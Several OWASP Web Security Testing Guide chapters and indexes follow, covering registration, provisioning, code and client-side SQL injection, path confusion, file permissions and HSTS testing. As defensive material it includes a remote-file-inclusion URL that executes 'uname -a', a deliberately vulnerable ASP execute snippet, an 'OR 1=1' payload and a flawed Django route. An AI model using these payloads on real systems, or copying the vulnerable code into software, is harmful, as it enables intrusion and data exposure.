deardaniel/secdata-raw huggingface dataset:
# Test User Registration Process

|ID          |
|------------|
|WSTG-IDNT-02|

## Summary

Some websites offer a user registration process that automates (or semi-automates) the provisioning of system access to users. The identity requirements for access vary from positive identification to none at all, depending on the security requirements of the system. Many public applications completely automate the registration and provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications will provision users manually, so this test case may not apply.

## Test Objectives

- Verify that the identity requirements for user registration are aligned with business and security requirements.
- Validate the registration process.

## How to Test

Verify that the identity requirements for user registration are aligned with business and security requirements:

1. Can anyone register for access?
2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?
3. Can the same person or identity register multiple times?
4. Can users register for different roles or permissions?
5. What proof of identity is required for a registration to be successful?
6. Are registered identities verified?

Validate the registration process:

1. Can identity information be easily forged or faked?
2. Can the exchange of identity information be manipulated during registration?

### Example

In the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.

![WordPress Registration Page](images/Wordpress_registration_page.jpg)\
*Figure 4.3.2-1: WordPress Registration Page*

In contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number, email address and CAPTCHA response. While only two of these can be verified (email address and mobile number), the identification requirements are stricter than WordPress.

![Google Registration Page](images/Google_registration_page.jpg)\
*Figure 4.3.2-2: Google Registration Page*

## Remediation

Implement identification and verification requirements that correspond to the security requirements of the information the credentials protect.

## Tools

A HTTP proxy can be a useful tool to test this control.

## References

[User Registration Design](https://mashable.com/2011/06/09/user-registration-design/)
# Test Account Provisioning Process

|ID          |
|------------|
|WSTG-IDNT-03|

## Summary

The provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.

## Test Objectives

- Verify which accounts may provision other accounts and of what type.

## How to Test

Determine which roles are able to provision users and what sort of accounts they can provision.

- Is there any verification, vetting and authorization of provisioning requests?
- Is there any verification, vetting and authorization of de-provisioning requests?
- Can an administrator provision other administrators or just users?
- Can an administrator or other user provision accounts with privileges greater than their own?
- Can an administrator or user de-provision themselves?
- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?

### Example

In WordPress, only a user's name and email address are required to provision the user, as shown below:

![WordPress User Add](images/Wordpress_useradd.png)\
*Figure 4.3.3-1: WordPress User Add*

De-provisioning of users requires the administrator to select the users to be de-provisioned, select Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user's posts (delete or transfer them).

![WordPress Auth and Users](images/Wordpress_authandusers.png)\
*Figure 4.3.3-2: WordPress Auth and Users*

## Tools

While the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.
# 4.7 Input Validation Testing

4.7.1 [Testing for Reflected Cross Site Scripting](01-Testing_for_Reflected_Cross_Site_Scripting.md)

4.7.2 [Testing for Stored Cross Site Scripting](02-Testing_for_Stored_Cross_Site_Scripting.md)

4.7.3 [Testing for HTTP Verb Tampering](03-Testing_for_HTTP_Verb_Tampering.md)

4.7.4 [Testing for HTTP Parameter Pollution](04-Testing_for_HTTP_Parameter_Pollution.md)

4.7.5 [Testing for SQL Injection](05-Testing_for_SQL_Injection.md)

- 4.7.5.1 [Testing for Oracle](05.1-Testing_for_Oracle.md)

- 4.7.5.2 [Testing for MySQL](05.2-Testing_for_MySQL.md)

- 4.7.5.3 [Testing for SQL Server](05.3-Testing_for_SQL_Server.md)

- 4.7.5.4 [Testing PostgreSQL](05.4-Testing_PostgreSQL.md)

- 4.7.5.5 [Testing for MS Access](05.5-Testing_for_MS_Access.md)

- 4.7.5.6 [Testing for NoSQL Injection](05.6-Testing_for_NoSQL_Injection.md)

- 4.7.5.7 [Testing for ORM Injection](05.7-Testing_for_ORM_Injection.md)

- 4.7.5.8 [Testing for Client-side](05.8-Testing_for_Client-side.md)

4.7.6 [Testing for LDAP Injection](06-Testing_for_LDAP_Injection.md)

4.7.7 [Testing for XML Injection](07-Testing_for_XML_Injection.md)

4.7.8 [Testing for SSI Injection](08-Testing_for_SSI_Injection.md)

4.7.9 [Testing for XPath Injection](09-Testing_for_XPath_Injection.md)

4.7.10 [Testing for IMAP SMTP Injection](10-Testing_for_IMAP_SMTP_Injection.md)

4.7.11 [Testing for Code Injection](11-Testing_for_Code_Injection.md)

- 4.7.11.1 [Testing for File Inclusion](11.1-Testing_for_File_Inclusion.md)

4.7.12 [Testing for Command Injection](12-Testing_for_Command_Injection.md)

4.7.13 [Testing for Format String Injection](13-Testing_for_Format_String_Injection.md)

4.7.14 [Testing for Incubated Vulnerability](14-Testing_for_Incubated_Vulnerability.md)

4.7.15 [Testing for HTTP Response Splitting](15-Testing_for_HTTP_Response_Splitting.md)

4.7.16 [Testing for HTTP Request Smuggling](16-Testing_for_HTTP_Request_Smuggling.md)

4.7.17 [Testing for Host Header Injection](17-Testing_for_Host_Header_Injection.md)

4.7.18 [Testing for Server-side Template Injection](18-Testing_for_Server-side_Template_Injection.md)

4.7.19 [Testing for Server-Side Request Forgery](19-Testing_for_Server-Side_Request_Forgery.md)

4.7.20 [Testing for Mass Assignment](20-Testing_for_Mass_Assignment.md)

4.7.21 [Testing for CSV Injection](21-Testing_for_CSV_Injection.md)
# Testing for Code Injection

|ID          |
|------------|
|WSTG-INPV-11|

## Summary

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.

In [Code Injection](https://owasp.org/www-community/attacks/Code_Injection) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

## Test Objectives

- Identify injection points where you can inject code into the application.
- Assess the injection severity.

## How to Test

### Black-Box Testing

#### Testing for PHP Injection Vulnerabilities

Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:

`https://www.example.com/uptime.php?pin=https://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a`

> The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

### Gray-Box Testing

#### Testing for ASP Code Injection Vulnerabilities

Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:

```asp
<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))
```

### References

- [Insecure.org](https://insecure.org/)
- [Wikipedia](https://www.wikipedia.org)
- [Reviewing Code for OS Injection](https://wiki.owasp.org/index.php/OS_Injection)
# Testing for Client-side

## Summary

Client-side SQL injection occurs when an application implements the [Web SQL Database](https://www.w3.org/TR/webdatabase/) technology and doesn't properly validate the input nor parametrize its query variables. This database is manipulated by using JavaScript (JS) API calls, such as `openDatabase()`, which creates or opens an existing database.

## Test Objectives

The following test scenario will validate that proper input validation is conducted. If the implementation is vulnerable, the attacker can read, modify, or delete information stored within the database.

## How to Test

### Identify the Usage of Web SQL DB

If the tested application implements the Web SQL DB, the following three calls will be used in the client-side core:

- `openDatabase()`
- `transaction()`
- `executeSQL()`

The code below shows an example of the APIs' implementation:

```javascript
var db = openDatabase(shortName, version, displayName, maxSize);

db.transaction(function(transaction) {
    transaction.executeSql('INSERT INTO LOGS (time, id, log) VALUES (?, ?, ?)', [dateTime, id, log]);
});
```

### Web SQL DB Injection

After confirming the usage of `executeSQL()`, the attacker is ready to test and validate the security of its implementation.

The Web SQL DB's implementation is based on [SQLite's syntax](https://www.sqlite.org/lang.html).

#### Bypassing Conditions

The following example shows how this could be exploited on the client-side:

```javascript
// URL example: https://example.com/user#15
var userId = document.location.hash.substring(1,); // Grabs the ID without the hash -> 15

db.transaction(function(transaction){
    transaction.executeSQL('SELECT * FROM users WHERE user = ' + userId);
});
```

To return information for all the users, instead of only the user corresponding to the attacker, the following could be used: `15 OR 1=1` in the URL fragment.

> **_NOTE:_**  Take care when injecting the condition OR 1=1 into a SQL query. Although this may be harmless in the initial context you're injecting into, it's common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, this can result in an accidental loss of data.

For additional SQL Injection payloads, go to the [Testing for SQL Injection](05-Testing_for_SQL_Injection.md) scenario.

## Remediation

Follow the same remediation from the [Testing for SQL Injection's Remediation Section](05-Testing_for_SQL_Injection.md#remediation).

## References

- [W3C Web SQL Database](https://www.w3.org/TR/webdatabase/)
- [Apple's JavaScript Database Tutorial](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/UsingtheJavascriptDatabase/UsingtheJavascriptDatabase.html)
- [Tutorialspoint HTML5 Web SQL Database](https://www.tutorialspoint.com/html5/html5_web_sql.htm)
- [Portswigger's Client-Side SQL Injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
# Testing for HTTP Verb Tampering

|ID          |
|------------|
|WSTG-INPV-03|

This content has been merged into: [Test HTTP Methods](../02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods.md)

[merged]: # (WSTG-CONF-06)
# 4.1 Information Gathering

4.1.1 [Conduct Search Engine Discovery Reconnaissance for Information Leakage](01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage.md)

4.1.2 [Fingerprint Web Server](02-Fingerprint_Web_Server.md)

4.1.3 [Review Webserver Metafiles for Information Leakage](03-Review_Webserver_Metafiles_for_Information_Leakage.md)

4.1.4 [Attack Surface Identification](04-Attack_Surface_Identification.md)

4.1.5 [Review Web Page Content for Information Leakage](05-Review_Web_Page_Content_for_Information_Leakage.md)

4.1.6 [Identify Application Entry Points](06-Identify_Application_Entry_Points.md)

4.1.7 [Map Execution Paths Through Application](07-Map_Execution_Paths_Through_Application.md)

4.1.8 [Fingerprint Web Application Framework](08-Fingerprint_Web_Application_Framework.md)

4.1.9 [Fingerprint Web Application](09-Fingerprint_Web_Application.md)

4.1.10 [Map Application Architecture](10-Map_Application_Architecture.md)
# Fingerprint Web Application

|ID          |
|------------|
|WSTG-INFO-09|

This content has been merged into: [Fingerprint Web Application Framework](08-Fingerprint_Web_Application_Framework.md).

[merged]: # (WSTG-INFO-08)
# Test Path Confusion

|ID          |
|------------|
|WSTG-CONF-13|

## Summary

Proper configuration of application paths is important because, if paths are not configured correctly, they allow an attacker to exploit other vulnerabilities at a later stage using this misconfiguration.

For example, if the routes are not configured correctly and the target also uses a CDN, the attacker can use this misconfiguration to execute web cache deception attacks.

As a result, to prevent other attacks, this configuration should be evaluated by the tester.

## Test Objectives

- Make sure application paths are configured correctly.

## How To Test

### Black-Box Testing

In a black-box testing scenario, the tester should replace all the existing paths with paths that do not exist, and then examine the behavior and status code of the target.

For example, there is a path in the application that is a dashboard and shows the amount of the user's account balance (money, game credits, etc).

Assume the path is `https://example.com/user/dashboard`, the tester should test the different modes that the developer may have considered for this path. For Web Cache Deception vulnerabilities the analyst should consider a path such as `https:// example.com/user/dashboard/non.js` if dashboard information is visible, and the target uses a CDN (or other web cache), then Web Cache Deception attacks are likely applicable.

### White-Box Testing

Examine the application routing configuration, Most of the time, developers use regular expressions in application routing.

In this example, in the `urls.py` file of a Django framework application, we see an example of Path Confusion. The developer did not use the correct regular expression resulting in a vulnerability:

```python
    from django.urls import re_path
    from . import views

    urlpatterns = [

        re_path(r'.*^dashboard', views.path_confusion ,name = 'index'),

    ]
```

If the path `https://example.com/dashboard/none.js` is also opened by the user in the browser, the user dashboard information can be displayed, and if the target uses a CDN or web cache, a Web Cache Deception attack can be implemented.

## Tools

- [Zed Attack Proxy](https://www.zaproxy.org)
- [Burp Suite](https://portswigger.net/burp)

## Remediation

- Refrain from classify/handling cached based on file extension or path (leverage content-type).
- Ensure the caching mechanism(s) adhere to cache-control headers specified by your application.
- Implement RFC compliant File Not Found handling and redirects.

## References

- [Bypassing Web Cache Poisoning Countermeasures](https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures)
- [Path confusion: Web cache deception threatens user information online](https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online)
- [Web Cache Deception Attack](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html)
# 4.2 Configuration and Deployment Management Testing

4.2.1 [Test Network Infrastructure Configuration](01-Test_Network_Infrastructure_Configuration.md)

4.2.2 [Test Application Platform Configuration](02-Test_Application_Platform_Configuration.md)

4.2.3 [Test File Extensions Handling for Sensitive Information](03-Test_File_Extensions_Handling_for_Sensitive_Information.md)

4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information.md)

4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](05-Enumerate_Infrastructure_and_Application_Admin_Interfaces.md)

4.2.6 [Test HTTP Methods](06-Test_HTTP_Methods.md)

4.2.7 [Test HTTP Strict Transport Security](07-Test_HTTP_Strict_Transport_Security.md)

4.2.8 [Test RIA Cross Domain Policy](08-Test_RIA_Cross_Domain_Policy.md)

4.2.9 [Test File Permission](09-Test_File_Permission.md)

4.2.10 [Test for Subdomain Takeover](10-Test_for_Subdomain_Takeover.md)

4.2.11 [Test Cloud Storage](11-Test_Cloud_Storage.md)

4.2.12 [Test for Content Security Policy](12-Test_for_Content_Security_Policy.md)

4.2.13 [Test for Path Confusion](13-Test_for_Path_Confusion.md)

4.2.14 [Test for Other HTTP Security Header Misconfigurations](14-Test_Other_HTTP_Security_Header_Misconfigurations.md)
# Test File Permission

|ID          |
|------------|
|WSTG-CONF-09|

## Summary

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data.

A clear example would be an executable file that can be run by unauthorized users. For another example, consider account information or a token value used to access an API. These are increasingly seen in modern web services and microservices, and may be stored in a configuration file that has world-readable permissions by default upon installation. Such sensitive data could be exposed either by malicious internal actors within the host system or by remote attackers. The latter may have compromised the service through other vulnerabilities, while gaining only normal user privileges.

## Test Objectives

- Review and identify any rogue file permissions.

## How to Test

In Linux, use `ls` command to check the file permissions. Alternatively, `namei` can also be used to recursively list file permissions.

`$ namei -l /PathToCheck/`

The files and directories that require file permission testing can include, but are not limited to, the following:

- Web files/directory
- Configuration files/directory
- Sensitive files(encrypted data, password, key)/directory
- Log files(security logs, operation logs, admin logs)/directory
- Executables(scripts, EXE, JAR, class, PHP, ASP)/directory
- Database files/directory
- Temp files/directory
- Upload files/directory

## Remediation

Set the permissions of the files and directories properly so that unauthorized users cannot access critical resources.

## Tools

- [Windows AccessEnum](https://technet.microsoft.com/en-us/sysinternals/accessenum)
- [Windows AccessChk](https://technet.microsoft.com/en-us/sysinternals/accesschk)
- [Linux namei](https://linux.die.net/man/1/namei)

## References

- [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)
# Test HTTP Strict Transport Security

|ID          |
|------------|
|WSTG-CONF-07|

## Summary

The HTTP Strict Transport Security (HSTS) feature enables a web server to inform the user's browser, via a special response header, that it should never establish an unencrypted HTTP connection to the specified domain servers. Instead, it should automatically establish all connection requests to access the site through HTTPS. This also prevents users from overriding certificate errors.

Considering the importance of this security measure, it is prudent to verify that the site is using this HTTP header in order to ensure that all the data travels encrypted between the web browser and the server.

The HTTP strict transport security header uses three specific directives:

- `max-age`: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.
- `includeSubDomains`: to indicate that all related sub-domains must use HTTPS.
- `preload` Unofficial: to indicate that the domain(s) are on the preload list(s) and that browsers should never connect without HTTPS.
    - While this is supported by all the major browsers, it is not an official part of the specification. (See [hstspreload.org](https://hstspreload.org/) for more information.)

Here's an example of the HSTS header implementation:

`Strict-Transport-Security: max-age=31536000; includeSubDomains`

The presence of this header must be checked, as its absence could lead to security issues such as:

- Attackers intercepting and accessing the information transferred over an unencrypted network channel.
- Attackers carrying out manipulator-in-the-middle (MITM) attacks by taking advantage of users who accept untrusted certificates.
- Users who mistakenly enter an address in the browser using HTTP instead of HTTPS, or users who click on a link in a web application that incorrectly uses the HTTP protocol.

## Test Objectives

- Review the HSTS header and its validity.

## How to Test

- Confirm the presence of the HSTS header by examining the server's response through an intercepting proxy.
- Use curl as follows:

```bash
$ curl -s -D- https://owasp.org | grep -i strict-transport-security:
Strict-Transport-Security: max-age=31536000
```

## References

- [OWASP HTTP Strict Transport Security](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)
- [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw)
- [HSTS Specification](https://tools.ietf.org/html/rfc6797)
- [Enable HTTP Strict Transport Security In Apache](https://https.cio.gov/hsts/)
- [Enable HTTP Strict Transport Security In Nginx](https://www.nginx.com/blog/http-strict-transport-security-hsts-and-nginx/)
# Appendix

Appendix A. [Testing Tools Resource](A-Testing_Tools_Resource.md)

Appendix B. [Suggested Reading](B-Suggested_Reading.md)

Appendix C. [Fuzzing](C-Fuzzing.md)

Appendix D. [Encoded Injection](D-Encoded_Injection.md)

Appendix E. [History](E-History.md)

Appendix F. [Leveraging Dev Tools](F-Leveraging_Dev_Tools.md)
# The OWASP Testing Framework

3.1 [The Web Security Testing Framework](0-The_Web_Security_Testing_Framework.md)

3.2 [Phase 1 Before Development Begins](0-The_Web_Security_Testing_Framework.md#phase-1-before-development-begins)

3.3 [Phase 2 During Definition and Design](0-The_Web_Security_Testing_Framework.md#phase-2-during-definition-and-design)

3.4 [Phase 3 During Development](0-The_Web_Security_Testing_Framework.md#phase-3-during-development)

3.5 [Phase 4 During Deployment](0-The_Web_Security_Testing_Framework.md#phase-4-during-deployment)

3.6 [Phase 5 During Maintenance and Operations](0-The_Web_Security_Testing_Framework.md#phase-5-during-maintenance-and-operations)

3.7 [A Typical SDLC Testing Workflow](0-The_Web_Security_Testing_Framework.md#a-typical-sdlc-testing-workflow)

3.8 [Penetration Testing Methodologies](1-Penetration_Testing_Methodologies.md)